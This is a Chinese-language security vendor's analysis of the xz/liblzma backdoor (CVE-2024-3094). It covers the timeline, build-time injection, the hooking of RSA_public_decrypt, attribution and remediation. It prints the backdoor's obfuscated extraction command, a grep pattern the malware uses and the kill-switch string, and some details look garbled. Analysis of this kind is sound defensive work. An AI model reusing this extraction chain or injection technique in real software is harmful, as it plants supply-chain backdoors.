2024年3月29日星期五上午8点,有研究人员称xz/liblzma中的后门导致SSH服务器内存泄露,使得SSH服务异常(https://www.openwall.com/lists/oss-security/2024/03/29/4)。github中“xz”压缩工具主要由Larhzu和Jia Tan共同负责维护,他们已经合作发布了多个版本。然而,研究人员发现Jia Tan发布的5.6.0和5.6.1版本存在后门代码,该后门允许攻击者未经授权地使用SSH访问系统。这个漏洞编号为CVE-2024-3094,近期引起了广泛的关注和讨论。接下来将对此次攻击事件进行详细分析。
漏洞概述
XZ Utils是一个高压缩比的数据压缩格式,广泛应用于各种Linux发行版中。在XZ Utils的5.6.0和5.6.1版本中,被研究人员发现存在恶意后门代码,这个后门代码可以被攻击者利用,通过SSH未经授权地访问系统。
这个恶意后门代码被嵌入在XZ Utils的两个测试文件中:tests/files/bad-3-corrupt_lzma2.xz和tests/files/good-large_compressed.lzma。攻击者通过修改这些文件中的代码,实现了一个复杂的后门机制,可以在OpenSSH服务器(SSHD)中注入恶意代码,从而允许攻击者发送任意的SSH载荷,并在身份验证之前执行这些载荷,有效地劫持整个受害机器。
攻击者画像
自2021年起,化名Jia Tan(JiaT75)的攻击者因涉及XZ Utils等项目的后门事件在GitHub上引起注意,直至2024年3月31日账户被封。通过长期贡献代码,Jia Tan在开源社区建立信誉,利用该信任植入恶意代码至包括libarchive和oss-fuzz在内的多个项目,展示出深厚的技术实力,他精通Linux系统、ChaCha20加密算法和IFUNC技术。攻击者的动机可能包括经济、政治或技术展示,极有可能属于有国家背景的,有组织有计划的行动。此次事件预示开源社区需警惕并采取措施,以应对潜在威胁。
漏洞影响范围
这个漏洞主要影响使用XZ Utils 5.6.0和5.6.1版本的系统,包括但不限于那些运行Fedora、Debian、Alpine、Kali、OpenSUSE和Arch Linux等发行版的系统。
xz后门构建过程
首先,通过执行build-to-host.m4文件,结合恶意代码运行,进而将加密的代码嵌入到“configure”脚本之中。
接着在执行“configure”脚本时,利用已经被混淆的代码进行操作,该过程涉及对“liblzma”链接器和编译器的标志进行调整,目的是为了干扰符号解析过程。
执行MakeFile时,触发了一个事件:“RsApublidecrypt@.al”符号被操纵,将其指向运行时环境中的另一个恶意代码,从而引发了潜在的安全威胁。
时间线
2021年
攻击者首先在2021年创建了一个GitHub账户,并在libarchive项目中提交了一个看似无害但实际可疑的补丁。这个补丁替换了一个安全的函数变体,可能引入了另一个漏洞。
2022年
2月6日,攻击者首次向XZ Utils项目提交了一个表面上合法的补丁,此举是他们获得项目信任的开端。随后,名为Jigar Kumar和Dennis Ens的新角色出现,开始向项目团队施加压力,要求合并该补丁,并提出增加一名新的项目维护者Jia Tan。在一系列交流和操作之后,Jigar Kumar神秘消失。
2023年
攻击者敦促Linux发行版尽快将他准备的软件包版本采用到他们的系统中,他找到了一位Fedora作者,并试图说服他将xz 5.6.x包含在基于rpm的发行版中,利用新版本的“xz”解决bug。ID为“krygorin4545”和“misoeater91”等化名的用户赞扬了所谓的错误修复,目的是虚假的宣传账户。
6月27日至28日,攻击者进行了进一步的更改,这些更改为可能的未来攻击奠定了基础。
2024年
2月15日,攻击者在XZ Utils项目的.gitignore文件中添加了一个忽略规则,用于忽略build-to-host.m4脚本文件。这个脚本文件将在实际发布版本中包含恶意的M4宏,用于在受害者机器上初始化后门的安装。
2月23日,攻击者在XZ Utils项目的两个测试文件中添加了混淆的二进制后门:tests/files/bad-3-corrupt_lzma2.xz和tests/files/good-large_compressed.lzma。
2月24日,攻击者发布了带有恶意build-to-host.m4脚本的5.6.0版本,使恶意后门完全可用。
3月9日,攻击者更新了后门的二进制文件,并发布了5.6.1版本。这两个版本都包含了恶意后门代码。
代码分析
攻击者通过SSH与目标系统连接,使用特定的RSA密钥建立联系,这个密钥随后被提交给OpenSSH服务器(SSHD)。服务器利用RSA_public_decrypt函数来验证攻击者提供的RSA密钥。在这一过程中,恶意代码被注入到OpenSSH服务器,并对RSA_public_decrypt函数进行钩取。这个恶意钩取的代码负责检查由SSH客户端(即攻击者)完全控制的RSA公共模数("N"值)。然后,它使用一个硬编码的ChaCha20对称流密码作为解密密钥来解密"N"值。解密后的数据通过Ed448椭圆曲线签名算法进行验证,只有攻击者持有的私钥能生成有效的负载,因为后门仅包含用于验证的公钥。
hook伪代码如上图所示,如果数据验证成功,恶意载荷会以shell命令的形式被执行;如果数据无效(如格式错误或签名无效),则会恢复到RSA_public_decrypt的原始实现。这允许攻击者在不被发现的情况下持续进行攻击。通过SSH,攻击者能够发送任意有效负载,在认证前就执行,从而劫持目标系统。这一攻击最终创建了一个名为liblzma_la-crc64-fast.o的后门文件,表明此次攻击使用了远程代码执行(RCE),而不是简单的身份验证绕过。
从上述代码中可以看到攻击者使用grep构建恶意软件名:grep -aErls "#{4}[[:alnum:]]{5}#{4}$" ./,执行结果是:./tests/files/bad-3-corrupt_lzma2.xz
最终恶意指令执行命令为:
xz -dc ./tests/files/good-large_compressed.lzma| eval $i| tail -c +31233| tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377" | xz -F raw --lzma1 -dc
最终在真正的感染部分目标文件liblzma_la-crc64_fast.o 和liblzma_la-crc32_fast.o,被链接了恶意的object文件。
值得一提的是恶意软件作者重新构造了函数get_cpuid,预留了一个参数“__builtin_frame_address”以获取函数返回地址。
从版本5.6.1中提取的Liblzma后门字符串(从内置trie中提取)如下所示:
代码中存在“kill switch”机制将“yolAbejyiejuvnup=Evjtgvsh5okmkAvj”添加到环境变量/etc/environment中可以暂时终止后门,具体表现为他会加速sshd的退出。
恶意文件(liblzma_la-crc64-fast.o{212ffa0b24bb7d749532425a46764433})
攻击者溯源
Jia Tan 历史提交活动范围
Jia Tang近两年github提交记录如下表所示:
larhzu近两年github提交记录如下表所示:
从上述表格可看出代码提交时间分布于UTC+3、UTC+8与UTC+2,UTC+02时区与冬令时(2月和 11月)完美匹配,而UTC+03时区与夏令时(6 月、7 月和10月初)完美匹配。这与东欧发生的夏令时切换完全匹配;我们看到冬季(10 月最后一个周末之后)切换到 +02:00,夏季(3 月最后一个星期日之后)切换到 +03:00,怀疑攻击者位于东欧 (EET),还有以色列 (IST) 等国家,且攻击者有意伪造成中国人进行攻击,但所采用的攻击方法似乎是出自那些将英语作为母语的组织之手。这个时区与Lasse Collin和Jigar Kumar的工作时间相符合。
攻击者的gmail信息记录如下:
处置建议
对于未受影响的系统,如Red Hat Enterprise Linux和Ubuntu等,建议保持警惕,及时更新系统和软件以防范类似漏洞。
同时,在互联网侧,推荐使用亚信安全“外部攻击面管理平台”排查资产操作系统及版本,探测是否有资产开启ssh高危服务,一键开启,排查无忧;在本地主机上,可使用安全工具检测是否存在恶意后门代码,并及时采取措施进行修复和缓解;使用命令行工具执行以下命令检查版本信息,受影响的用户立即将XZ Utils降级至更早版本,并重启机器或重启OpenSSH服务器以移除补丁代码。
如果无法进行降级,可以通过“kill switch”机制禁用恶意后门功能,此处提供两种检测方式:
-
xz --version(不推荐)
-
for xz_p in $(type -a xz | awk '{print $NF}' | uniq); do strings "$xz_p" | grep "xz (XZ Utils)" || echo "No match found for $xz_p"; done
这段脚本作用是搜索系统上所有的“xz”可执行文件,并尝试确认它们的版本信息。(来源:@Kostastsale)
IOC:
公开yara检测规则:
因篇幅受限,这部分略,详情可以进入官方公众号【亚信安全】本篇推文获取。
亚信安全威胁情报中心
亚信安全威胁情报中心深耕威胁情报领域多年,具备国内一流的威胁情报分析、人工智能及大数据团队,依托公司国际基因与多元化数据来源优势,对全球威胁事件及时跟踪与深度解析。威胁情报中心聚焦实战化、场景化情报,以数据驱动威胁情报运营,使用Ai赋能威胁情报生产、运营全流程,在挖矿治理、网络钓鱼检测、黑客工具检测、勒索治理、勒索泄密点检测等方面处于国内领先地位。威胁情报中心首创威胁情报云端联动小时级响应机制,为客户提供“一点触达、全网免疫”的体验。